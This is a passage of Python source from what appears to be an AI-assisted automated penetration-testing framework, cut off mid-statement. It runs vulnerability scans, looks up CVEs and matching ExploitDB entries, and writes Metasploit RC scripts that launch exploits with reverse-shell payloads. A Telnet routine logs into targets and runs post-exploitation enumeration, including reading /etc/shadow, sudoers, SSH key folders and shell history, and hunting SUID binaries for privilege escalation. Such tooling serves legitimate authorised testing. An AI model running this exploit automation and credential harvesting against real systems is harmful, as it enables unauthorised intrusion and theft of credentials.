                scripts = ["vnc-info","vnc-brute","realvnc-auth-bypass"]
            elif any(k in service_name for k in ("rdp","ms-wbt")):
                scripts = ["rdp-enum-encryption","rdp-vuln-ms12-020"]
            else:
                # Generic fallback — broader than just vuln+default
                scripts = ["vuln","default","banner","version"]

        tasks.append((svc["ip"], svc["port"], scripts))

    emit_log(f"Running {len(tasks)} NSE task(s) — all scripts per port", "info")

    def run_task(ip, port, scripts):
        # Signal to live console that this port is starting
        socketio.emit("nse_running", {"ip": ip, "port": port, "script_count": len(scripts)})
        script_str = ",".join(scripts)
        out = f"{out_dir}/scans/nse_{ip}_{port}.txt"
        cmd = (f"nmap -p {port} --script {script_str} "
               f"--script-timeout 30 -oN {out} {ip}")
        result = run_cmd(cmd, timeout=120)
        hits = []
        for line in result.splitlines():
            l = line.lower()
            if any(k in l for k in ("vulnerable","VULNERABLE","cve-","exploit",
                                     "backdoor","heartbleed","ms17-010","eternalblue",
                                     "ms08-067","shellshock","poodle","anonymous ftp")):
                hits.append(line.strip())
        key = f"{ip}:{port}"
        if hits:
            emit_log(f"NSE {ip}:{port} [{','.join(scripts[:2])}...] → VULNERABLE ({len(hits)} hit(s))",
                     "vuln")
        else:
            emit_log(f"NSE {ip}:{port} [{','.join(scripts[:2])}...] → clean ({len(scripts)} script(s))",
                     "info")
        # Emit the result for EVERY port (clean + vulnerable) so the UI's
        # nse-<ip>-<port> badge moves off '—'. The UI's addNseResult card
        # only renders vulnerable hits, but the services-table badge reads
        # nse_result too and now shows '✓ clean' for ports with no hits.
        socketio.emit("nse_result", {
            "key":     key,
            "hits":    hits,
            "scripts": scripts,
            "clean":   not bool(hits),
            "script_count": len(scripts),
        })
        return key, hits

    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as ex:
        futures = [ex.submit(run_task, ip, port, scripts) for ip,port,scripts in tasks]
        for i, fut in enumerate(concurrent.futures.as_completed(futures)):
            try:
                key, hits = fut.result()
                findings[key] = hits
                pct = 40 + int((i+1)/len(tasks)*15)
                emit_progress(pct, f"NSE scripts: {i+1}/{len(tasks)}")
            except Exception as e:
                emit_log(f"NSE error: {e}", "warn")

    # Summary: total tasks vs. vulnerable hits
    vuln_n = sum(1 for v in findings.values() if v)
    emit_log(f"NSE summary: {len(tasks)} port(s) scanned, "
             f"{vuln_n} vulnerable, {len(tasks)-vuln_n} clean", "ok")
    socketio.emit("nse_summary", {
        "scanned":    len(tasks),
        "vulnerable": vuln_n,
        "clean":      len(tasks) - vuln_n,
    })
    return findings

def _nvd_lookup(product, version, api_key=""):
    """Query NVD API 2.0 for CVEs matching product+version."""
    url = "https://services.nvd.nist.gov/rest/json/cves/2.0"
    headers = {"apiKey": api_key} if api_key else {}
    params  = {"keywordSearch": f"{product} {version}", "resultsPerPage": 5}
    try:
        r = requests.get(url, params=params, headers=headers, timeout=15)
        if r.status_code == 429:
            time.sleep(30)
            r = requests.get(url, params=params, headers=headers, timeout=15)
        r.raise_for_status()
        cves = []
        for item in r.json().get("vulnerabilities", []):
            c = item["cve"]
            score, sev = None, "UNKNOWN"
            for mk in ("cvssMetricV31","cvssMetricV30","cvssMetricV2"):
                try:
                    m = c["metrics"][mk][0]
                    score = m["cvssData"]["baseScore"]
                    sev   = m["cvssData"].get("baseSeverity","")
                    break
                except: continue
            cves.append({"id": c["id"], "score": score, "severity": sev,
                         "description": c["descriptions"][0]["value"][:200],
                         "source": "NVD"})
        return cves
    except Exception as e:
        emit_log(f"NVD lookup error: {e}", "warn")
        return []

def _cisa_kev_lookup(product):
    """Check CISA Known Exploited Vulnerabilities catalog (no key needed)."""
    try:
        r = requests.get(
            "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
            timeout=15)
        r.raise_for_status()
        cves = []
        plow = product.lower()
        for vuln in r.json().get("vulnerabilities", []):
            vendor = (vuln.get("vendorProject","") or "").lower()
            product_name = (vuln.get("product","") or "").lower()
            if plow in vendor or plow in product_name:
                cves.append({
                    "id": vuln.get("cveID",""),
                    "score": None,
                    "severity": "KEV",  # Known Exploited — treat as critical
                    "description": (vuln.get("shortDescription","") or "")[:200],
                    "source": "CISA-KEV",
                    "exploit_available": True,
                })
        return cves[:5]
    except Exception as e:
        emit_log(f"CISA KEV lookup error: {e}", "warn")
        return []

def _exploitdb_lookup(product, version):
    """Search ExploitDB via searchsploit (local copy on Kali)."""
    try:
        query = f"{product} {version}".strip()
        result = subprocess.run(
            ["searchsploit", "--json", query],
            capture_output=True, text=True, timeout=15)
        data = json.loads(result.stdout or "{}")
        exploits = data.get("RESULTS_EXPLOIT", [])
        cves = []
        for ex in exploits[:5]:
            title = ex.get("Title","")
            eid   = ex.get("EDB-ID","")
            # Extract CVE if present in title
            cve_match = re.search(r"CVE-\d{4}-\d+", title, re.I)
            cve_id = cve_match.group(0) if cve_match else f"EDB-{eid}"
            cves.append({
                "id": cve_id,
                "score": None,
                "severity": "EXPLOITDB",
                "description": title[:200],
                "source": "ExploitDB",
                "edb_id": eid,
                "exploit_available": True,
            })
        return cves
    except Exception as e:
        emit_log(f"ExploitDB lookup error: {e}", "warn")
        return []

def _osv_lookup(product, version):
    """Query OSV.dev API for vulnerabilities (no key needed)."""
    try:
        payload = {"version": version, "package": {"name": product, "ecosystem": "OSS-Fuzz"}}
        r = requests.post("https://api.osv.dev/v1/query",
                          json=payload, timeout=10)
        if r.status_code != 200:
            return []
        cves = []
        for vuln in r.json().get("vulns", [])[:5]:
            vid = vuln.get("id","")
            aliases = vuln.get("aliases",[])
            cve_id = next((a for a in aliases if a.startswith("CVE-")), vid)
            summary = (vuln.get("summary","") or "")[:200]
            cves.append({
                "id": cve_id,
                "score": None,
                "severity": "OSV",
                "description": summary,
                "source": "OSV",
            })
        return cves
    except Exception as e:
        emit_log(f"OSV lookup error: {e}", "warn")
        return []

def lookup_cve(product, version, api_key=""):
    """Multi-source CVE lookup: NVD + CISA KEV + ExploitDB + OSV.
    Each source has its own try/except — one failing never breaks the others."""
    if not product:
        return []

    all_cves = []
    seen_ids = set()

    def add(cves):
        for c in cves:
            cid = c.get("id","")
            if cid and cid not in seen_ids:
                seen_ids.add(cid)
                all_cves.append(c)

    # 1. NVD (primary — has CVSS scores)
    try:
        add(_nvd_lookup(product, version, api_key))
    except Exception as e:
        emit_log(f"NVD source failed: {e}", "warn")

    # 2. CISA KEV (high-signal — known active exploitation)
    try:
        add(_cisa_kev_lookup(product))
    except Exception as e:
        emit_log(f"CISA KEV source failed: {e}", "warn")

    # 3. ExploitDB via searchsploit (local Kali tool — no network needed)
    try:
        add(_exploitdb_lookup(product, version))
    except Exception as e:
        emit_log(f"ExploitDB source failed: {e}", "warn")

    # 4. OSV.dev (open source vuln database)
    try:
        add(_osv_lookup(product, version))
    except Exception as e:
        emit_log(f"OSV source failed: {e}", "warn")

    # Sort: NVD scored CVEs first, then KEV (active exploits), then others
    def sort_key(c):
        score = c.get("score") or 0
        bonus = 2.0 if c.get("source") == "CISA-KEV" else \
                1.0 if c.get("source") == "ExploitDB" else 0.0
        return score + bonus

    all_cves.sort(key=sort_key, reverse=True)
    return all_cves[:15]  # Cap at 15 to keep prompt sizes manageable

def gen_rc(svc, lhost, lport, nse_hits, out_dir):
    """Generate a Metasploit RC script for a confirmed vulnerable service.

    Rules:
    - Only generates RC if the keyword is confirmed in NSE hits OR banner
    - Uses needs_lhost flag to decide whether to set LHOST/LPORT
        """
    port   = svc["port"]
    banner = svc.get("banner","").lower()
    hits   = " ".join(nse_hits).lower()
    # Combined evidence string
    evidence = banner + " " + hits

    for (p, kw), (module, payload, needs_lhost) in EXPLOIT_MAP.items():
        if p != port:
            continue
        if kw not in evidence:
            continue

        ts  = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
        rc  = f"{out_dir}/exploits/{svc['ip']}_{port}_{ts}.rc"

        cmds = [
            f"use {module}",
            f"set RHOSTS {svc['ip']}",
            f"set RPORT {port}",
        ]

        # Only set payload for reverse-shell exploits — backdoors must have NO payload
        is_auxiliary = module.startswith("auxiliary/")
        is_backdoor  = not needs_lhost  # backdoor/bind exploits never need LHOST

        if payload and not is_backdoor:
            cmds.append(f"set PAYLOAD {payload}")

        # Only set LHOST/LPORT for reverse-shell payloads
        if needs_lhost and payload and not is_backdoor:
            cmds.append(f"set LHOST {lhost}")
            cmds.append(f"set LPORT {lport}")

        # ExitOnSession — keep MSF running after getting a session
        if not is_auxiliary:
            cmds.append("set ExitOnSession false")

        # Use 'exploit -j' for exploit modules (run in background job) so session persists
        if is_auxiliary:
            cmds += [
                "run",
                "sleep 5",
            ]
        else:
            cmds += [
                "exploit -j -z",
                "sleep 20",
                "sessions -l",
                "sleep 5",
            ]

        with open(rc, "w") as f:
            f.write("\n".join(cmds) + "\n")

        emit_log(f"RC generated: {module} | payload={payload or 'none'} | LHOST={'yes' if needs_lhost else 'N/A (bind)'}", "ok")
        return {"rc": rc, "module": module, "payload": payload, "needs_lhost": needs_lhost}

    return None


def telnet_auth_scan(target: str, port: int, username: str, password: str,
                     timeout: int, api_key: str, emit_fn) -> dict:
    """
    Raw-socket Telnet login (works on Python 3.13 where telnetlib was removed).
    Enumerates OS / packages / services / SUID binaries, then runs CVE lookup
    for every discovered package. Emits nse_finding / cves events in real-time.
    """
    import socket as _sock, re as _re, time as _time, select as _sel

    result = {
        "connected": False, "os": "", "packages": [],
        "listeners": [], "processes": [], "users": [],
        "cve_count": 0, "error": ""
    }

    ANSI_RE = _re.compile(rb"\x1b\[[0-9;]*[A-Za-z]|\xff[\xfb-\xfe].")

    def _strip(data: bytes) -> str:
        return ANSI_RE.sub(b"", data).decode("utf-8", errors="replace")

    def _recv(sock, wait=12.0, end_markers=(b"$", b"#", b"login:", b"Password:", b"assword:")):
        """Read until a shell prompt or timeout."""
        buf = b""
        deadline = _time.time() + wait
        while _time.time() < deadline:
            rem = deadline - _time.time()
            r, _, _ = _sel.select([sock], [], [], min(rem, 0.3))
            if r:
                chunk = sock.recv(4096)
                if not chunk:
                    break
                buf += chunk
                for m in end_markers:
                    if m in buf:
                        return _strip(buf)
            else:
                # No data — if we already have something, stop
                if buf:
                    break
        return _strip(buf)

    def _send(sock, text: str):
        sock.sendall((text + "\n").encode("utf-8"))
        _time.sleep(0.25)

    def _cmd(sock, cmd: str, wait=18.0) -> str:
        _send(sock, cmd)
        return _recv(sock, wait)

    try:
        emit_fn(f"[TELNET] Connecting to {target}:{port} …", "info")
        sock = _sock.create_connection((target, port), timeout=timeout)
        sock.setblocking(False)

        # Read banner / login prompt
        banner = _recv(sock, wait=timeout)
        emit_fn(f"[TELNET] Banner: {banner.strip()[:120]}", "info")

        if "login:" not in banner.lower():
            # Some servers need a nudge
            _send(sock, "")
            banner += _recv(sock, wait=6)

        # Send username
        _send(sock, username)
        pw_prompt = _recv(sock, wait=8)

        # Send password
        _send(sock, password)
        _time.sleep(1.5)
        welcome = _recv(sock, wait=6)

        if any(x in welcome.lower() for x in ("incorrect", "failed", "denied", "invalid")):
            result["error"] = "Authentication failed"
            emit_fn("[TELNET] ❌ Authentication failed", "warn")
            sock.close()
            return result

        result["connected"] = True
        emit_fn(f"[TELNET] ✓ Authenticated as {username}", "ok")

        cmds = {
            "os":       "uname -a 2>/dev/null",
            "issue":    "cat /etc/issue 2>/dev/null",
            "hostname": "hostname 2>/dev/null",
            "uptime":   "uptime 2>/dev/null",
            "whoami":   "whoami 2>/dev/null; id 2>/dev/null",
            "pkgs":     "dpkg -l 2>/dev/null | grep '^\''ii\''' | awk '{print $2,$3}' | head -150",
            "ps":       "ps aux --no-header 2>/dev/null | awk '{print $11}' | sort -u | head -80",
            "services": "service --status-all 2>/dev/null | head -60",
            "net":      "netstat -tlnp 2>/dev/null || ss -tlnp 2>/dev/null",
            "net_all":  "netstat -anp 2>/dev/null | grep -E 'LISTEN|ESTABLISHED' | head -60",
            "ifaces":   "ifconfig -a 2>/dev/null || ip addr show 2>/dev/null",
            "routes":   "route -n 2>/dev/null || ip route 2>/dev/null",
            "arp":      "arp -a 2>/dev/null || ip neigh 2>/dev/null",
            "passwd":   "cat /etc/passwd 2>/dev/null | head -40",
            "shadow":   "cat /etc/shadow 2>/dev/null | head -20",
            "sudoers":  "sudo -l 2>/dev/null; cat /etc/sudoers 2>/dev/null | grep -v '^#' | head -30",
            "cron":     "crontab -l 2>/dev/null; ls -la /etc/cron* 2>/dev/null; cat /etc/crontab 2>/dev/null | head -30",
            "suid":     "find / -perm -4000 -type f 2>/dev/null | head -30",
            "writable": "find / -writable -type d 2>/dev/null | head -20",
            "ssh_keys": "ls -la /root/.ssh/ 2>/dev/null; ls -la /home/*/.ssh/ 2>/dev/null",
            "history":  "cat ~/.bash_history 2>/dev/null | tail -30",
        }
        raw = {}
        for key, cmd in cmds.items():
            emit_fn(f"[TELNET] Running: {cmd[:60]}", "info")
            out = _cmd(sock, cmd, wait=20.0)
            raw[key] = out
            socketio.emit("nse_finding", {
                "title":  f"Telnet enum: {key}",
                "host":   target, "port": port,
                "output": out[:400]
            })

        sock.close()

        os_str = (raw.get("os","") + " " + raw.get("issue","")).strip()
        result["os"] = os_str[:200]
        emit_fn(f"[TELNET] OS: {os_str[:120]}", "info")

        pkg_re = _re.compile(r"^([\w.+-]+)\s+([\w.+:~-]+)", _re.M)
        packages = pkg_re.findall(raw.get("pkgs",""))
        result["packages"] = list(packages)
        emit_fn(f"[TELNET] {len(packages)} packages — running CVE lookup …", "info")
        socketio.emit("nse_finding", {
            "title":  "Telnet: package list",
            "host":   target, "port": port,
            "output": f"{len(packages)} installed packages enumerated via dpkg"
        })

        seen_cve: set = set()
        pkg_cves = 0
        for pkg_name, pkg_ver in packages[:120]:
            try:
                cves = lookup_cve(pkg_name, pkg_ver, api_key) or []
                new_cves = [c for c in cves if c.get("id") not in seen_cve]
                for c in new_cves:
                    seen_cve.add(c.get("id",""))
                if new_cves:
                    socketio.emit("cves", {"key": f"{pkg_name} {pkg_ver}", "cves": new_cves})
                    pkg_cves += len(new_cves)
                    sev = "vuln" if any(c.get("score",0)>=7 for c in new_cves) else "info"
                    emit_fn(
                        f"[TELNET CVE] {pkg_name} {pkg_ver} → {len(new_cves)} CVE(s) "
                        f"(top: {new_cves[0].get('id','?')} CVSS {new_cves[0].get('score','?')})",
                        sev
                    )
            except Exception:
                pass

        listen_re = _re.compile(r"(?:\d+\.\d+\.\d+\.\d+|0\.0\.0\.0|::):(\d+)", _re.M)
        listeners = sorted({m.group(1) for m in listen_re.finditer(raw.get("net",""))}, key=int)
        result["listeners"] = listeners
        if listeners:
            socketio.emit("nse_finding", {
                "title":  "Telnet: open listeners",
                "host":   target, "port": port,
                "output": "Listening ports: " + ", ".join(listeners)
            })
            emit_fn(f"[TELNET] Listeners: {', '.join(listeners)}", "info")

        suid_lines = [l.strip() for l in raw.get("suid","").splitlines() if l.strip().startswith("/")]
        if suid_lines:
            socketio.emit("nse_finding", {
                "title":  "Telnet: SUID binaries (privilege escalation risk)",
                "host":   target, "port": port,
                "output": "\n".join(suid_lines[:20])
            })
            emit_fn(f"[TELNET] {len(suid_lines)} SUID binaries — potential priv-esc paths", "vuln")

        users = [l.split(":")[0] for l in raw.get("passwd","").splitlines() if ":" in l]
        result["users"] = users
        if users:
            socketio.emit("nse_finding", {
                "title":  "Telnet: user accounts (/etc/passwd)",
                "host":   target, "port": port,
                "output": "Users: " + ", ".join(users[:30])
            })

        result["cve_count"] = pkg_cves
        socketio.emit("telnet_done", {"cves": pkg_cves, "packages": len(packages)})
        emit_fn(f"[TELNET] Deep-dive complete — {pkg_cves} CVEs across {len(packages)} packages", "ok")

    except ConnectionRefusedError:
        result["error"] = f"Connection refused on {target}:{port}"
        emit_fn(f"[TELNET] ❌ Connection refused — port {port} not open?", "warn")
    except OSError as _oe:
        result["error"] = str(_oe)
        emit_fn(f"[TELNET] ❌ Network error: {_oe}", "warn")
    except Exception as _ex:
        result["error"] = str(_ex)
        emit_fn(f"[TELNET] ❌ Error: {_ex}", "warn")

    return result

def run_full_scan(config):
    global scan_state
    scan_state["running"] = True
    scan_state["log"] = []
    scan_state["results"] = {}
    scan_state["progress"] = 0

    target   = config["target"]
    lhost    = config["lhost"]
    lport    = int(config.get("lport", 4444))
    ports    = config.get("ports","1-1000")
    api_key  = config.get("api_key","")
    threads  = int(config.get("threads", 500))

    # Override AI API keys if provided in the scan config from the UI form
    if config.get("anthropic_key"):
        os.environ["ANTHROPIC_API_KEY"] = config["anthropic_key"]
        emit_log("Using Anthropic API key from scan config", "ai")
    if config.get("gemini_key") and HAS_MCP_AGENT:
        import mcp_agent as _mcp
        _mcp.GEMINI_API_KEY = config["gemini_key"]
        if not _mcp.AI_PROVIDER or _mcp.AI_PROVIDER in ("none",):
            _mcp.AI_PROVIDER = "gemini"

    ts      = datetime.datetime.now().strftime("%Y%m%d_%H%M%S")
    out_dir = f"{RESULTS_BASE}/{ts}"
    for sub in ("xml","scans","exploits","remediation"):
        os.makedirs(f"{out_dir}/{sub}", exist_ok=True)

    # v2.0 auth results storage
    auth_results = None
    remediation_plan = []
    export_paths = {}
    topology = {}
    live_hosts = []
    os_name   = "Unknown"
    os_arch   = "x64"
    attack_chain = None

    nse_analysis    = {}   # Step 3: AI NSE output analysis
    cve_analysis    = {}   # Step 4: AI CVE ranking + attack path
    web_analysis    = {}   # Step 6: per-port AI web findings analysis (key→dict)
    exec_summary    = {}   # Step 7: AI executive summary for the report

    try:
        # Reset stale cooldowns from a previous scan and re-load the env file
        # in case the user just edited ai_api.env.
        try:
            for _k in list(_DEAD_UNTIL.keys()):
                _DEAD_UNTIL[_k] = 0
            _load_ai_env()
        except Exception:
            pass

        _ai_ok = False
        if HAS_AI_HELPERS:
            # Disable cache for the health-check ping so we actually hit the API
            _test = call_ai_fast('Respond with: {"status":"ok"}',
                                  timeout=10.0, use_cache=False)
            _key_status = {
                "gemini":    bool(os.environ.get("GEMINI_API_KEY", "").strip()),
                "openrouter": bool(os.environ.get("OPENROUTER_API_KEY", "").strip()),
                "cerebras":  bool(os.environ.get("CEREBRAS_API_KEY", "").strip()),
            }
            if _test:
                _ai_ok = True
                emit_log("AI provider connected — AI-powered analysis enabled", "ai")
                socketio.emit("ai_ready", {"ready": True, "keys": _key_status})
            else:
                missing = [k for k, v in _key_status.items() if not v]
                if missing == list(_key_status.keys()):
                    emit_log(
                        "AI providers unavailable — no API keys found. "
                        "Add GEMINI_API_KEY (or OPENROUTER/CEREBRAS) to ai_api.env "
                        "next to app.py, run a local Ollama model, OR paste a key "
                        "into the scan form.",
                        "warn"
                    )
                else:
                    emit_log(
                        f"AI providers responded but the test call failed "
                        f"(keys present: {[k for k,v in _key_status.items() if v]}). "
                        "Continuing with rule-based analysis — scan still runs.",
                        "warn"
                    )
                socketio.emit("ai_ready", {"ready": False, "keys": _key_status})

        emit_log(f"Starting scan: {target}", "phase", phase=0)
        emit_progress(2, "Resolving target and mapping topology")

        resolved = None
        scan_profile = config.get("scan_profile", "standard")
        user_selected_profile = config.get("scan_profile")  # explicit UI choice

        if HAS_HOST_DISCOVERY:
            try:
                emit_log("Phase 0 — Network discovery (ARP + ICMP sweep + traceroute)", "phase", phase=0)
                # Re-enable AI topology classification — it was previously turned
                # off "to save a round-trip" but the UI badge then reported AI
                # OFF even when keys were present. Now we pass call_ai_fast and
                # the AI gets to label the network zone + recommend aggressiveness.
                _topology_ai = call_ai_fast if (HAS_AI_HELPERS and _ai_ok) else None
                nd = NetworkDiscovery(target, emit_fn=lambda msg, lvl="info": emit_log(msg, lvl))
                discovery = nd.run(
                    call_ai_fn=_topology_ai,
                    sweep_range=config.get("sweep_range", False)
                )
                live_hosts = discovery["live_hosts"]
                resolved = discovery["resolved"]
                topology = discovery["topology"]
                # The AI/topology step only RECOMMENDS an aggressiveness — it must
                # NOT override the profile the user explicitly picked in the UI.
                # Previously it did, so selecting "Full" silently ran "stealth"
                # (slow T2 SYN that timed out and found ~0 ports). Honour the
                # user's choice; only fall back to the recommendation if the user
                # left the profile unset.
                ai_reco = discovery.get("scan_profile")
                if user_selected_profile:
                    scan_profile = user_selected_profile
                    if ai_reco and ai_reco != scan_profile:
                        emit_log(f"AI recommended '{ai_reco}' aggressiveness, but "
                                 f"honouring your selected profile: '{scan_profile}'",
                                 "info")
                elif ai_reco:
                    scan_profile = ai_reco
                emit_log(f"Discovered {len(live_hosts)} host(s) | topology: {topology.get('topology_summary', 'mapped')}", "ok")
                socketio.emit("topology", {"topology": topology, "hosts": live_hosts})
            except Exception as e:
                emit_log(f"Host discovery error ({e}) — falling back to single resolve", "warn")

        if not resolved:
            try:
                resolved = socket.gethostbyname(target)
                emit_log(f"Resolved {target} → {resolved}", "ok")
                live_hosts = [{"ip": resolved, "ttl": None, "hops": 0, "os_guess": "unknown", "zone_hint": "unknown", "open_ports": []}]
            except Exception:
                emit_log(f"Cannot resolve {target}", "error")
                scan_state["running"] = False
                return

        emit_progress(8, f"Topology mapped — {len(live_hosts)} host(s)")

        # Using configured scan_profile directly to conserve AI rate limits

        emit_log(f"Phase 1 — Port discovery (profile: {scan_profile})", "phase", phase=1)
        emit_progress(10, f"Scanning ports {ports}")

        if HAS_V3:
            try:
                smart_scan = SmartPortDiscovery(resolved, emit_fn=lambda msg, lvl="info": emit_log(msg, lvl))
                smart_scan.run_all(port_range=ports, scan_profile=scan_profile)
                # Lower threshold (0.5 → 0.3) so TCP-connect-only hits aren't
                # silently dropped when -sS lacks raw-socket caps.
                open_ports = smart_scan.get_verified_ports(min_confidence=0.3)
                confidence_report = smart_scan.get_confidence_report()
                socketio.emit("port_confidence", {"report": confidence_report})
                emit_log(f"V3 smart scan: {len(open_ports)} verified ports (confidence ≥30%)", "ok")
            except Exception as e:
                emit_log(f"V3 port scan failed ({e}) — falling back to fast scan", "warn")
                open_ports = fast_port_scan(resolved, ports, max_threads=threads)
        else:
            open_ports = fast_port_scan(resolved, ports, max_threads=threads)

        # Consistency anchor: ALWAYS run the deterministic connect() scan and
        # UNION it with V3's result — not just when V3 returned <8 ports.
        #
        # The old "<8" gate was the reason the port count kept changing
        # (27 one run, 22 the next): when V3/nmap returned a variable number of
        # ports ≥8 the gate skipped the stabilising pass entirely, so the final
        # list was whatever nmap happened to catch that run. fast_port_scan is
        # now deterministic (longer timeout + retry passes), so unioning it
        # every time gives a stable TCP baseline the run-to-run nmap jitter can
        # only add to, never subtract from.
        try:
            emit_log("Running deterministic connect() scan to lock in a "
                     "consistent port set…", "info")
            connect_ports = fast_port_scan(resolved, ports, max_threads=threads)
            before = len(open_ports)
            merged = sorted(set(open_ports) | set(connect_ports))
            added = len(merged) - before
            if added > 0:
                emit_log(f"connect() scan added {added} port(s) the SYN scan "
                         f"missed → {len(merged)} total", "ok")
            else:
                emit_log(f"connect() scan confirmed {len(merged)} port(s)", "ok")
            open_ports = merged
        except Exception as _fb_err:
            emit_log(f"connect() scan error: {_fb_err}", "warn")

        emit_log(f"Found {len(open_ports)} open ports: {open_ports[:20]}", "ok")
        socketio.emit("open_ports", {"ports": open_ports})
        emit_stats(ports=len(open_ports))
        emit_progress(30, f"{len(open_ports)} open ports found")

        if not open_ports:
            emit_log("No open ports found. Scan complete.", "warn")
            scan_state["running"] = False
            return

        emit_log("Phase 2 — Service version detection (nmap -sV -O)", "phase", phase=2)
        emit_progress(32, "Detecting services")
        services, xml_path, os_name = detect_services(resolved, open_ports, out_dir)

        # If nmap service detection returned nothing but we have open ports,
        # create synthetic service entries so web scanning still runs.
        # This handles cases where nmap can't fingerprint services behind
        # Docker NAT or non-standard ports (Node.js on 3000, etc.)
        if not services and open_ports:
            _web_port_set = {80,443,8080,8443,8000,3000,8180,8888,8008,9090,
                             8081,8280,8181,591,8880,4443,5000,5001,4200,
                             9000,3001,3030,4000,7000,7001,8082,8083,8084,
                             8085,8086,8087,8088,8089,9443,9080,8880,8881}
            for p in open_ports:
                _svc_name = "http" if p in _web_port_set else "unknown"
                _ssl = p in (443, 8443, 4443, 9443)
                if _ssl:
                    _svc_name = "https"
                services.append({
                    "ip": resolved,
                    "port": str(p),
                    "protocol": "tcp",
                    "service": _svc_name,
                    "product": "",
                    "version": "",
                    "banner": "",
                })
            emit_log(f"nmap service detection returned 0 results — created {len(services)} synthetic entries from open ports", "warn")
        elif len(services) < len(open_ports):
            # Some ports found by TCP scan but missed by nmap -sV
            _detected_ports = {str(s["port"]) for s in services}
            _web_port_set = {80,443,8080,8443,8000,3000,8180,8888,8008,9090,
                             8081,5000,5001,4200,9000,3001,4000,7000,8082}
            for p in open_ports:
                if str(p) not in _detected_ports:
                    _svc_name = "http" if p in _web_port_set else "unknown"
                    services.append({
                        "ip": resolved,
                        "port": str(p),
                        "protocol": "tcp",
                        "service": _svc_name,
                        "product": "",
                        "version": "",
                        "banner": "",
                    })

        emit_log(f"Detected {len(services)} services | OS: {os_name}", "ok")
        socketio.emit("services", {"services": services, "os_name": os_name})
        emit_stats(ports=len(open_ports), svcs=len(services))
        emit_progress(40, f"{len(services)} services identified")

        if HAS_AI_HELPERS and services:
            try:
                emit_log("AI → Classifying services by risk level and attack priority...", "ai")
                services = claude_classify_services(services, os_name)
                critical_svcs = [s for s in services if s.get("risk_level") == "CRITICAL"]
                high_svcs     = [s for s in services if s.get("risk_level") == "HIGH"]
                for s in critical_svcs:
                    emit_log(
                        f"⚠ CRITICAL: {s['ip']}:{s['port']} [{s.get('banner','unknown')}] "
                        f"— {s.get('ai_notes','requires immediate attention')}",
                        "vuln"
                    )
                emit_log(
                    f"AI classification: {len(critical_svcs)} CRITICAL, "
                    f"{len(high_svcs)} HIGH, "
                    f"{len(services)-len(critical_svcs)-len(high_svcs)} MEDIUM/LOW",
                    "ai"
                )
                socketio.emit("ai_service_classification", {
                    "services": services,
                    "summary": {
                        "critical": len(critical_svcs),
                        "high":     len(high_svcs),
                        "total":    len(services),
                    }
                })
            except Exception as _svc_ai_err:
                emit_log(f"Service classification error: {_svc_ai_err}", "warn")

        emit_log("Phase 3 — NSE script scan (AI picker + custom builder)", "phase", phase=3)

        # Feature #1: AI NSE script picker per port (fast-fail)
        ai_custom_nse_files = []   # track temp files to clean up later
        if HAS_AI_HELPERS:
            try:
                ai_picks = ai_pick_nse_scripts(services, scan_profile=scan_profile)
                for port, scripts in (ai_picks or {}).items():
                    existing = set(PORT_SCRIPTS.get(port, []))
                    new_scripts = [s for s in scripts if s not in existing]
                    if new_scripts:
                        PORT_SCRIPTS.setdefault(port, []).extend(new_scripts)
                emit_log(f"AI-NSE: enriched {len(ai_picks or {})} port(s) with AI-picked scripts", "ai")

                # Build a custom NSE ONLY for services where the rule + AI
                # library still didn't produce anything specific.
                for svc in services:
                    port = str(svc.get("port", ""))
                    if port in PORT_SCRIPTS and PORT_SCRIPTS[port]:
                        continue  # already covered
                    path = ai_build_custom_nse(svc)
                    if path:
                        ai_custom_nse_files.append(path)
                        PORT_SCRIPTS.setdefault(port, []).append(path)
                        emit_log(f"AI-NSE: generated custom NSE for port {port} → {path}", "ai")
            except Exception as e:
                emit_log(f"AI NSE picker failed ({e}) — using rule-based scripts", "warn")

        # V3 extensions as secondary enrichment (rule-based)
        if HAS_V3:
            try:
                v3_scripts = smart_select_nse_scripts(services, scan_profile=scan_profile)
                for port, scripts in v3_scripts.items():
                    existing = set(PORT_SCRIPTS.get(port, []))
                    new_scripts = [s for s in scripts if s not in existing]
                    if new_scripts:
                        PORT_SCRIPTS.setdefault(port, []).extend(new_scripts)
                emit_log(f"V3 NSE: enriched {len(v3_scripts)} port(s) with version-specific scripts", "ok")
            except Exception as e:
                emit_log(f"V3 NSE selection failed ({e}) — using built-in script map", "warn")

        nse_findings = run_all_nse(resolved, services, out_dir, ts)

        # Clean up custom NSE files
        for p in ai_custom_nse_files:
            try: os.unlink(p)
            except Exception: pass
        emit_progress(55, "NSE scripts complete")

        if HAS_AI_HELPERS:
            try:
                emit_log("AI → Analyzing NSE output — filtering noise, confirming vulns...", "ai")
                nse_analysis = claude_analyze_nse_output(nse_findings, services)
                if nse_analysis.get("summary"):
                    emit_log(f"AI NSE summary: {nse_analysis['summary']}", "ai")
                for finding in (nse_analysis.get("critical_findings") or [])[:6]:
                    emit_log(f"⚠ NSE CONFIRMED: {str(finding)[:130]}", "vuln")
                if nse_analysis.get("attack_path_hint"):
                    emit_log(f"AI attack hint: {nse_analysis['attack_path_hint'][:150]}", "ai")
                socketio.emit("ai_nse_analysis", {"analysis": nse_analysis})
            except Exception as _nse_ai_err:
                emit_log(f"NSE AI analysis error: {_nse_ai_err}", "warn")
                nse_analysis = {}

        emit_log("Phase 3.5 — Authenticated scanning (SSH/SMB/SNMP/credential-reuse)", "phase", phase=4)
        emit_progress(56, "Running authenticated scans")

        if HAS_AUTH and any([
            config.get("ssh_username"), config.get("smb_username")
        ]):
            try:
                auth_scanner_obj = AuthenticatedScanner(
                    target=resolved, services=services, config=config,
                    emit_fn=lambda msg, lvl="info": emit_log(msg, lvl)
                )
                auth_results = auth_scanner_obj.run()

                # Emit structured auth results to UI
                socketio.emit("auth_results", {"results": {
                    "ssh_ok":  auth_results.get("ssh") is not None and "error" not in (auth_results.get("ssh") or {}),
                    "smb_ok":  auth_results.get("smb") is not None,
                    "snmp_ok": auth_results.get("snmp") is not None and "error" not in (auth_results.get("snmp") or {}),
                    "credentials":       auth_results.get("discovered_credentials", []),
                    "pivot_candidates":  auth_results.get("pivot_candidates", []),
                    "credential_reuse":  auth_results.get("credential_reuse", []),
                }})

                for pivot in auth_results.get("pivot_candidates", []):
                    emit_log(pivot.get("details", {}).get("pivot_note", f"PIVOT: {pivot.get('host')}"), "vuln")

                for reuse in auth_results.get("credential_reuse", []):
                    emit_log(
                        f"⚠ CRED REUSE: {reuse.get('target_service')}://"
